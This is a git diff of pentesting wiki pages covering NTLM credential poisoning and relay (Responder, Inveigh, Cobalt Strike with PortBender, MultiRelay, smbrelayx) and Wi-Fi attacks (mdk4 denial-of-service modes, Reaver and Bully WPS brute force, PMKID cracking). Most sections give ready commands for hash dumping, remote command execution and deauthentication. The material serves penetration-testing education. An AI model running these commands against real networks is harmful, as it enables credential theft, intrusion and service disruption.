Responder is going to **impersonate all the service using the mentioned protocols**. Once some user try to access a service being resolved using those protocols, **he will try to authenticate against Responde**r and Responder will be able to **capture** the "credentials" (most probably a **NTLMv2 Challenge/Response**):
|
||||
|
||||
It is possible to try to downgrade to NetNTLMv1 or to try to disable ESS.
|
||||
|
||||
![](<../../.gitbook/assets/poison (1) (1) (1).jpg>)
|
||||
|
||||
### Inveigh - C#/PowerShell Responder
|
||||
|
||||
> Inveigh is a PowerShell ADIDNS/LLMNR/NBNS/mDNS/DNS spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system.
|
||||
|
||||
[**Inveigh** ](https://github.com/Kevin-Robertson/Inveigh)was a PowerShell script, now it's a C# binary that has the same main features as Responder. There is a [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) \*\*\*\* that lists all parameters and usage instructions.\
|
||||
Another version can be found in [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero).
|
||||
|
||||
![](../../.gitbook/assets/45662029-1b5e6300-bace-11e8-8180-32f8d377d48b.png)
|
||||
|
||||
Or run it with more options:
|
||||
Inveigh can be operated through PowerShell:
|
||||
|
||||
```powershell
|
||||
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
|
||||
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
||||
```
|
||||
|
||||
Or run the C# version:
|
||||
|
||||
Or executed as a C# binary:
|
||||
```bash
|
||||
Inveigh.exe
|
||||
```
|
||||
|
||||
## NTLM Relay Attack
|
||||
### NTLM Relay Attack
|
||||
|
||||
This attack relays **SMB authentication sessions** on an internal network to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**. Please, note that the relayed authentication must be from a **user which has Local Admin access to the relayed** host and **SMB signing must be disabled**.
|
||||
This attack leverages SMB authentication sessions to access a target machine, granting a system shell if successful. Key prerequisites include:
|
||||
- The authenticating user must have Local Admin access on the relayed host.
|
||||
- SMB signing should be disabled.
|
||||
|
||||
### 445 forward and tunneling
|
||||
#### 445 Port Forwarding and Tunneling
|
||||
|
||||
{% hint style="warning" %}
|
||||
If you can **introduce a machine inside the network** you can use any of the **tools** of the following section to perform a relay attack and you don't need to care about this.
|
||||
{% endhint %}
|
||||
|
||||
However, in red teams this isn't the case, in red teams you usually will need to **forward the traffic of the port 445 of a Windows machine to your machine** executing any of the following tools and then r**oute back the traffic of that tool through a proxy** to reach the machine to attack inside the internal.
|
||||
|
||||
The tool [**PortBender**](https://github.com/praetorian-inc/PortBender) \*\*\*\* is a driver to **redirect** traffic destined for port **445 to another port** (e.g. 8445) that **we can bind**. It **requires local admin** access in order for the driver to be loaded. It makes sense to use `cd C:\Windows\System32\drivers` since this is where most Windows drivers go.
|
||||
In scenarios where direct network introduction isn't feasible, traffic on port 445 needs to be forwarded and tunneled. Tools like [**PortBender**](https://github.com/praetorian-inc/PortBender) help in redirecting port 445 traffic to another port, which is essential when local admin access is available for driver loading.
|
||||
|
||||
PortBender setup and operation in Cobalt Strike:
|
||||
```bash
|
||||
Cobalt Strike -> Script Manager -> Load (Select from the filesystem PortBender.cna)
|
||||
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
||||
|
||||
beacon> cd C:\Windows\system32\drivers # Go to drivers dir
|
||||
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
|
||||
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
|
||||
beacon> PortBender redirect 445 8445 # Forward traffic to 445 to 8445
|
||||
beacon> rportfwd 8445 127.0.0.1 445 # Send traffic to port 8445 to Team Server
|
||||
beacon> socks 1080 # Socks proxy in port 1080 to attack host in the internal network from the Team Server
|
||||
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
|
||||
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
|
||||
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
|
||||
|
||||
# To kill
|
||||
# Termination commands
|
||||
beacon> jobs
|
||||
beacon> jobkill 0
|
||||
beacon> rportfwd stop 8445
|
||||
beacon> socks stop
|
||||
```
|
||||
|
||||
### Metasploit
|
||||
### Other Tools for NTLM Relay Attack
|
||||
|
||||
- **Metasploit**: Set up with proxies, local and remote host details.
|
||||
- **smbrelayx**: A Python script for relaying SMB sessions and executing commands or deploying backdoors.
|
||||
- **MultiRelay**: A tool from the Responder suite to relay specific users or all users, execute commands, or dump hashes.
|
||||
|
||||
Each tool can be configured to operate through a SOCKS proxy if necessary, enabling attacks even with indirect network access.
|
||||
|
||||
### MultiRelay Operation
|
||||
|
||||
MultiRelay is executed from the _**/usr/share/responder/tools**_ directory, targeting specific IPs or users.
|
||||
```bash
|
||||
setg Proxies socks4:127.0.0.1:1080 # Use this if you need to route the traffic to reach the attacked ip
|
||||
set SRVHOST <local_ip>
|
||||
set SRVPORT 445
|
||||
set SMBHOST <ip_to_auth_to>
|
||||
run -j
|
||||
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
||||
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
||||
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
||||
|
||||
# Proxychains for routing traffic
|
||||
```
|
||||
|
||||
### smbrelayx
|
||||
|
||||
```bash
|
||||
python3 smbrelayx.py -t smb://<ip_to_attack> -smb2support --no-http-server --no-wcf-server
|
||||
# By default it will just dump hashes
|
||||
# To execute a command use: -c "ipconfig"
|
||||
# To execute a backdoor use: -e "/path/to/backdoor
|
||||
|
||||
# Attack through socks proxy
|
||||
proxychains python3 ntlmrelayx.py -t smb://<ip_to_attack> -smb2support --no-http-server --no-wcf-server
|
||||
```
|
||||
|
||||
### MultiRelay
|
||||
|
||||
If you want to use **MultiRelay**, go to _**/usr/share/responder/tools**_ and execute MultiRelay (`-t <IP target> -u <User>`):
|
||||
|
||||
```bash
|
||||
python MultiRelay.py -t <IP target> -u ALL # If "ALL" then all users are relayed
|
||||
# By default a shell is returned
|
||||
python MultiRelay.py -t <IP target> -u ALL -c whoami #-c to execute command
|
||||
python MultiRelay.py -t <IP target> -u ALL -d #-d to dump hashes
|
||||
|
||||
# Use proxychains if you need to route the traffic to reach the attacked ip
|
||||
```
|
||||
|
||||
![](<../../.gitbook/assets/image (209).png>)
|
||||
These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.
|
||||
|
||||
### Force NTLM Logins
|
||||
|
||||
|
@ -258,62 +125,13 @@ In Windows you **may be able to force some privileged accounts to authenticate t
|
|||
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Solution
|
||||
|
||||
### Disabling LLMNR
|
||||
|
||||
To disable LLMNR in your domain for DNS clients, open gpedit.msc.\
|
||||
Navigate to Computer Configuration->Administrative Templates->Network->DNS client.\
|
||||
Locate the option “Turn off multicast name resolution” and click “policy setting”:
|
||||
|
||||
![](../../.gitbook/assets/1.jpg)
|
||||
|
||||
Once the new window opens, enable this option, press Apply and click OK:
|
||||
|
||||
![](../../.gitbook/assets/2.jpg)
|
||||
|
||||
### **Disabling NBT-NS**
|
||||
|
||||
One option for disabling NBT-NS is to use DHCP scope options.
|
||||
|
||||
If using Microsoft's DHCP server, select the scope that you want to disable NBT-NS for. Right click “Scope Options” and click “Configure Options”. In the example below, the DHCP scope in which I want to disable NBT-NS for is 192.168.1.100.
|
||||
|
||||
![](../../.gitbook/assets/3.jpg)
|
||||
|
||||
In the Scope Options window, navigate to the advanced tab, change the drop down window to “Microsoft Windows 2000 Options”:
|
||||
|
||||
![](../../.gitbook/assets/4.jpg)
|
||||
|
||||
Select the option “001 Microsoft Disable Netbios Option” from the list and change its value to “0x2”, click Apply and then OK:
|
||||
|
||||
![](../../.gitbook/assets/5.jpg)
|
||||
|
||||
### WPAD
|
||||
|
||||
To mitigate against the WPAD attack, you can add an entry for "wpad" in your DNS zone. Note that the DNS entry does not need to point to a valid WPAD server. As long as the queries are resolved, the attack will be prevented.
|
||||
|
||||
### Multi-relay
|
||||
|
||||
1\. **Forcing SMB Signing on all local windows machines**. This setting will digitally sign each and every SMB session which forces both the client and server to verify the source of the packets before continuing. This setting is only enabled by default on Domain Controllers. The following articles from Microsoft detail these settings (which can be enabled through group policy), and how to implement them.
|
||||
|
||||
[https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/](https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/)
|
||||
|
||||
[https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always)
|
||||
|
||||
2\. **Reviewing and ensuring that the users on the local network can only remotely login to machines in which it is necessary**. For example: Sally can only log in to Sally’s workstation. If an attacker were to intercept Sally’s SMB Auth session, they could not relay the session to any workstations, rendering this method useless.
|
||||
|
||||
3\. **Restrict NTLM Authentication on the local network as much as possible**. This attack cannot take advantage of Kerberos authentication, so by limiting the amount of NTLM that’s occurring, this attack can be greatly hindered. There is information from Microsoft on making this happen, but be warned.. If Kerberos authentication fails for whatever reason, it generally falls back onto NTLM. If you disable it entirely, your network might grind to a halt.
|
||||
|
||||
4\. **Prevent unauthorised users on your network**. An insider threat will likely not be utilising an SMB Relay attack, as they already have network credentials. By beefing up your physical security policies, preventing rogue devices on the network with ACLs and MAC Filtering, and ensuring proper network segmentation, you can greatly limit the threat of this attack being performed.
|
||||
|
||||
## References
|
||||
|
||||
* [**https://intrinium.com/smb-relay-attack-tutorial/**](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||
* **Images from:**\
|
||||
[https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)\
|
||||
[https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)\
|
||||
[https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)\
|
||||
[https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
||||
* [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||
* [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
|
||||
* [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
|
||||
* [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||
* [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -47,7 +47,7 @@ In essence, while UPnP offers convenience and network fluidity, it also opens do
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -130,10 +130,9 @@ This tool automates **WPS/WEP/WPA-PSK** attacks. It will automatically:
|
|||
|
||||
### Deauthentication Packets
|
||||
|
||||
The most common way this sort of attack is done is with **deauthentication** packets. These are a type of "management" frame responsible for disconnecting a device from an access point. Forging these packets is the key to [hacking many Wi-Fi networks](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/), as you can forcibly disconnect any client from the network at any time. The ease of which this can be done is somewhat frightening and is often done as part of gathering a WPA handshake for cracking.
|
||||
**Description from** [**here**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
|
||||
Aside from momentarily using this disconnection to harvest a handshake to crack, you can also just let those deauths keep coming, which has the effect of peppering the client with deauth packets seemingly from the network they are connected to. Because these frames aren't encrypted, many programs take advantage of management frames by forging them and sending them to either one or all devices on a network.\
|
||||
**Description from** [**here**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
**Deauthentication** attacks, a prevalent method in Wi-Fi hacking, involve forging "management" frames to **forcefully disconnect devices from a network**. These unencrypted packets deceive clients into believing they are from the legitimate network, enabling attackers to collect WPA handshakes for cracking purposes or to persistently disrupt network connections. This tactic, alarming in its simplicity, is widely used and has significant implications for network security.
|
||||
|
||||
**Deauthentication using Aireplay-ng**
|
||||
|
||||
|
@ -149,11 +148,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
|||
|
||||
### Disassociation Packets
|
||||
|
||||
Disassociation packets are another type of management frame that is used to disconnect a node (meaning any device like a laptop or cell phone) from a nearby access point. The difference between deauthentication and disassociation frames is primarily the way they are used.
|
||||
|
||||
An AP looking to disconnect a rogue device would send a deauthentication packet to inform the device it has been disconnected from the network, whereas a disassociation packet is used to disconnect any nodes when the AP is powering down, rebooting, or leaving the area.
|
||||
|
||||
**Description from** [**here**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
**Disassociation packets**, similar to deauthentication packets, are a type of management frame used in Wi-Fi networks. These packets serve to sever the connection between a device (such as a laptop or smartphone) and an access point (AP). The primary distinction between disassociation and deauthentication lies in their usage scenarios. While an AP emits **deauthentication packets to remove rogue devices explicitly from the network, disassociation packets are typically sent when the AP is undergoing a shutdown**, restart, or relocating, thereby necessitating the disconnection of all connected nodes.
|
||||
|
||||
**This attack can be performed by mdk4(mode "d"):**
|
||||
|
||||
|
@ -168,7 +163,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
|||
|
||||
### **More DOS attacks by mdk4**
|
||||
|
||||
**From** [**here**](https://en.kali.tools/?p=864)**.**
|
||||
**In** [**here**](https://en.kali.tools/?p=864)**.**
|
||||
|
||||
**ATTACK MODE b: Beacon Flooding**
|
||||
|
||||
|
@ -184,7 +179,7 @@ mdk4 wlan0mon b -a -w nta -m
|
|||
|
||||
**ATTACK MODE a: Authentication Denial-Of-Service**
|
||||
|
||||
Sends authentication frames to all APs found in range. Too many clients can freeze or reset several APs.
|
||||
Sending authentication frames to all accessible Access Points (APs) within range can overload these APs, especially when numerous clients are involved. This intense traffic can lead to system instability, causing some APs to freeze or even reset.
|
||||
|
||||
```bash
|
||||
# -a BSSID send random data from random clients to try the DoS
|
||||
|
@ -196,11 +191,11 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
|||
|
||||
**ATTACK MODE p: SSID Probing and Bruteforcing**
|
||||
|
||||
Probes APs and checks for answer, useful for checking if SSID has been correctly decloaked and if AP is in your sending range. **Bruteforcing of hidden SSIDs** with or without a wordlist is also available.
|
||||
Probing Access Points (APs) checks if a SSID is properly revealed and confirms the AP's range. This technique, coupled with **bruteforcing hidden SSIDs** with or without a wordlist, helps in identifying and accessing concealed networks.
|
||||
|
||||
**ATTACK MODE m: Michael Countermeasures Exploitation**
|
||||
|
||||
Sends random packets or re-injects duplicates on another QoS queue to provoke Michael Countermeasures on **TKIP APs**. AP will then shutdown for a whole minute, making this an effective **DoS**.
|
||||
Sending random or duplicate packets to different QoS queues can trigger Michael Countermeasures on **TKIP APs**, leading to a one-minute AP shutdown. This method is an efficient **DoS** (Denial of Service) attack tactic.
|
||||
|
||||
```bash
|
||||
# -t <BSSID> of a TKIP AP
|
||||
|
@ -210,7 +205,7 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
|||
|
||||
**ATTACK MODE e: EAPOL Start and Logoff Packet Injection**
|
||||
|
||||
Floods an AP with **EAPOL** Start frames to keep it busy with **fake sessions** and thus disables it to handle any legitimate clients. Or logs off clients by **injecting fake** EAPOL **Logoff messages**.
|
||||
Flooding an AP with **EAPOL Start frames** creates **fake sessions**, overwhelming the AP and blocking legitimate clients. Alternatively, injecting **fake EAPOL Logoff messages** forcibly disconnects clients, both methods effectively disrupt network service.
|
||||
|
||||
```bash
|
||||
# Use Logoff messages to kick clients
|
||||
|
@ -219,11 +214,11 @@ mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
|||
|
||||
**ATTACK MODE s: Attacks for IEEE 802.11s mesh networks**
|
||||
|
||||
Various attacks on link management and routing in mesh networks. Flood neighbors and routes, create black holes and divert traffic!
|
||||
Various attacks on link management and routing in mesh networks.
|
||||
|
||||
**ATTACK MODE w: WIDS Confusion**
|
||||
|
||||
Confuse/Abuse Intrusion Detection and Prevention Systems by cross-connecting clients to multiple WDS nodes or fake rogue APs.
|
||||
Cross-connecting clients to multiple WDS nodes or fake rogue APs can manipulate Intrusion Detection and Prevention Systems, creating confusion and potential system abuse.
|
||||
|
||||
```bash
|
||||
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
||||
|
@ -232,7 +227,7 @@ mkd4 -e <SSID> -c <channel> [-z]
|
|||
|
||||
**ATTACK MODE f: Packet Fuzzer**
|
||||
|
||||
A simple packet fuzzer with multiple packet sources and a nice set of modifiers. Be careful!
|
||||
A packet fuzzer featuring diverse packet sources and a comprehensive set of modifiers for packet manipulation.
|
||||
|
||||
### **Airggedon**
|
||||
|
||||
|
@ -242,9 +237,7 @@ _**Airgeddon**_ offers most of the attacks proposed in the previous comments:
|
|||
|
||||
## WPS
|
||||
|
||||
WPS stands for Wi-Fi Protected Setup. It is a wireless network security standard that tries to make connections between a router and wireless devices faster and easier. **WPS works only for wireless networks that use a password** that is encrypted with the **WPA** Personal or **WPA2** Personal security protocols. WPS doesn't work on wireless networks that are using the deprecated WEP security, which can be cracked easily by any hacker with a basic set of tools and skills. (From [here](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup))
|
||||
|
||||
WPS uses a 8 length PIN to allow a user to connect to the network, but it's first checked the first 4 numbers and, if correct, then is checked the second 4 numbers. Then, it is possible to Brute-Force the first half and then the second half (only 11000 possibilities).
|
||||
WPS (Wi-Fi Protected Setup) simplifies the process of connecting devices to a router, enhancing the setup speed and ease for networks encrypted with **WPA** or **WPA2** Personal. It is ineffective for the easily compromised WEP security. WPS employs an 8-digit PIN, validated in two halves, making it susceptible to brute-force attacks due to its limited number of combinations (11,000 possibilities).
|
||||
|
||||
### WPS Bruteforce
|
||||
|
||||
|
@ -253,39 +246,38 @@ There are 2 main tools to perform this action: Reaver and Bully.
|
|||
* **Reaver** has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations.
|
||||
* **Bully** is a **new implementation** of the WPS brute force attack, written in C. It has several advantages over the original reaver code: fewer dependencies, improved memory and cpu performance, correct handling of endianness, and a more robust set of options.
|
||||
|
||||
This attack takes advantage of a **weakness in the eight-digit WPS PIN code**; because of this issue, the protocol **discloses information about the PIN’s first four digits**, and the **last** digit works as a **checksum**, which makes brute forcing the WPS AP easy.\
|
||||
Note that some devices include **brute-force protections**, which usually **block MAC addresses** that repeatedly try to attack. In that case, the complexity of this attack increases, because you’d have to **rotate MAC** addresses while testing PINs.
|
||||
The attack exploits the **WPS PIN's vulnerability**, particularly its exposure of the first four digits and the last digit's role as a checksum, easing the brute-force attack. However, defenses against brute-force attacks, like **blocking MAC addresses** of aggressive attackers, demand **MAC address rotation** to continue the attack.
|
||||
|
||||
If the WPS valid code is found, both Bully and Reaver will use it to discover the WPA/WPA2 PSK used to protect the network, so you will be able to connect anytime you need it.
|
||||
Upon obtaining the WPS PIN with tools like Bully or Reaver, the attacker can deduce the WPA/WPA2 PSK, ensuring **persistent network access**.
|
||||
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||
```
|
||||
|
||||
**Smart Brute force**
|
||||
**Smart Brute Force**
|
||||
|
||||
Instead of starting trying every possible PIN, you should check if there are available **PINs discoveredfor the AP you are attacking** (depending of the manufacturer MAC) and the **PIN software generated PINs**.
|
||||
This refined approach targets WPS PINs using known vulnerabilities:
|
||||
|
||||
* The database of known PINs is made for Access Points of certain manufacturers for which it is known that they use the same WPS PINs. This database contains the first three octets of MAC-addresses and a list of corresponding PINs that are very likely for this manufacturer.
|
||||
* There are several algorithms for generating WPS PINs. For example, ComputePIN and EasyBox use the MAC-address of the Access Point in their calculations. But the Arcadyan algorithm also requires a device ID.
|
||||
1. **Pre-discovered PINs**: Utilize a database of known PINs linked to specific manufacturers known to use uniform WPS PINs. This database correlates the first three octets of MAC-addresses with likely PINs for these manufacturers.
|
||||
2. **PIN Generation Algorithms**: Leverage algorithms like ComputePIN and EasyBox, which calculate WPS PINs based on the AP's MAC-address. The Arcadyan algorithm additionally requires a device ID, adding a layer to the PIN generation process.
|
||||
|
||||
### WPS Pixie Dust attack
|
||||
|
||||
Dominique Bongard discovered that some APs have weak ways of generating **nonces** (known as **E-S1** and **E-S2**) that are supposed to be secret. If we are able to figure out what these nonces are, we can easily find the WPS PIN of an AP since the AP must give it to us in a hash in order to prove that it also knowns the PIN, and the client is not connecting to a rouge AP. These E-S1 and E-S2 are essentially the "keys to unlock the lock box" containing the WPS pin. More info here: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
|
||||
**Dominique Bongard** discovered a flaw in some Access Points (APs) concerning the creation of secret codes, known as **nonces** (**E-S1** and **E-S2**). If these nonces can be figured out, cracking the AP's WPS PIN becomes easy. The AP reveals the PIN within a special code (hash) to prove it's legitimate and not a fake (rogue) AP. These nonces are essentially the "keys" to unlocking the "safe" that holds the WPS PIN. More on this can be found [here](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
|
||||
|
||||
Basically, some implementations failed in the use of random keys to encrypt the 2 parts of the PIN(as it is discomposed in 2 parts during the authentication communication and sent to the client), so an offline attack could be used to brute force the valid PIN.
|
||||
In simple terms, the issue is that some APs did not use random enough keys for encrypting the PIN during the connection process. This makes the PIN vulnerable to being guessed from outside the network (offline brute force attack).
|
||||
|
||||
```
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
||||
```
|
||||
|
||||
### Null Pin attack
|
||||
|
||||
Some really bad implementations allowed the Null PIN to connect (very weird also). Reaver can test this (Bully cannot).
|
||||
Some poorly designed systems even let a **Null PIN** (an empty or nonexistent PIN) grant access, which is quite unusual. The tool **Reaver** is capable of testing for this vulnerability, unlike **Bully**.
|
||||
|
||||
```
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
||||
```
|
||||
|
||||
|
@ -303,10 +295,13 @@ All the proposed WPS attacks can be easily performed using _**airgeddon.**_
|
|||
|
||||
## **WEP**
|
||||
|
||||
So broken and disappeared that I am not going to talk about it. Just know that _**airgeddon**_ have a WEP option called "All-in-One" to attack this kind of protection. More tools offer similar options.
|
||||
So broken and unused nowdays. Just know that _**airgeddon**_ have a WEP option called "All-in-One" to attack this kind of protection. More tools offer similar options.
|
||||
|
||||
![](<../../.gitbook/assets/image (125).png>)
|
||||
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
@ -322,22 +317,24 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
***
|
||||
|
||||
|
||||
## WPA/WPA2 PSK
|
||||
|
||||
### PMKID
|
||||
|
||||
In 2018 hashcat authors [disclosed](https://hashcat.net/forum/thread-7717.html) a new type of attack which not only relies **on one single packet**, but it doesn’t require any clients to be connected to our target AP but just communication between the attacker and the AP.
|
||||
In 2018, **hashcat** [revealed](https://hashcat.net/forum/thread-7717.html) a new attack method, unique because it only needs **one single packet** and doesn't require any clients to be connected to the target AP—just interaction between the attacker and the AP.
|
||||
|
||||
It turns out that **a lot** of modern routers append an **optional field** at the end of the **first EAPOL** frame sent by the AP itself when someone is associating, the so called `Robust Security Network`, which includes something called `PMKID`
|
||||
Many modern routers add an **optional field** to the **first EAPOL** frame during association, known as `Robust Security Network`. This includes the `PMKID`.
|
||||
|
||||
As explained in the original post, the **PMKID** is derived by using data which is known to us:
|
||||
As the original post explains, the **PMKID** is created using known data:
|
||||
|
||||
```
|
||||
```bash
|
||||
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
||||
```
|
||||
|
||||
**Since the “PMK Name” string is constant, we know both the BSSID of the AP and the station and the `PMK` is the same one obtained from a full 4-way handshake**, this is all hashcat needs in order to crack the PSK and recover the passphrase!\
|
||||
Description obtained from [here](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/).
|
||||
Given that the "PMK Name" is constant, we know the BSSID of the AP and the station, and the `PMK` is identical to the one from a full 4-way handshake, **hashcat** can use this information to crack the PSK and recover the passphrase!
|
||||
|
||||
To **gather** this information and **bruteforce** locally the password you can do:
|
||||
|
||||
|
@ -362,8 +359,8 @@ hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
|||
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
```
|
||||
|
||||
Please note the format of a correct hash contains **4 parts**, like: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_\
|
||||
\_\_If yours **only** contains **3 parts**, then, it is **invalid** (the PMKID capture wasn't valid).
|
||||
Please note the format of a correct hash contains **4 parts**, like: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`
|
||||
If yours **only** contains **3 parts**, then, it is **invalid** (the PMKID capture wasn't valid).
|
||||
|
||||
Note that `hcxdumptool` **also capture handshakes** (something like this will appear: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). You could **transform** the **handshakes** to **hashcat**/**john** format using `cap2hccapx`
|
||||
|
||||
|
@ -379,17 +376,19 @@ _I have noticed that some handshakes captured with this tool couldn't be cracked
|
|||
|
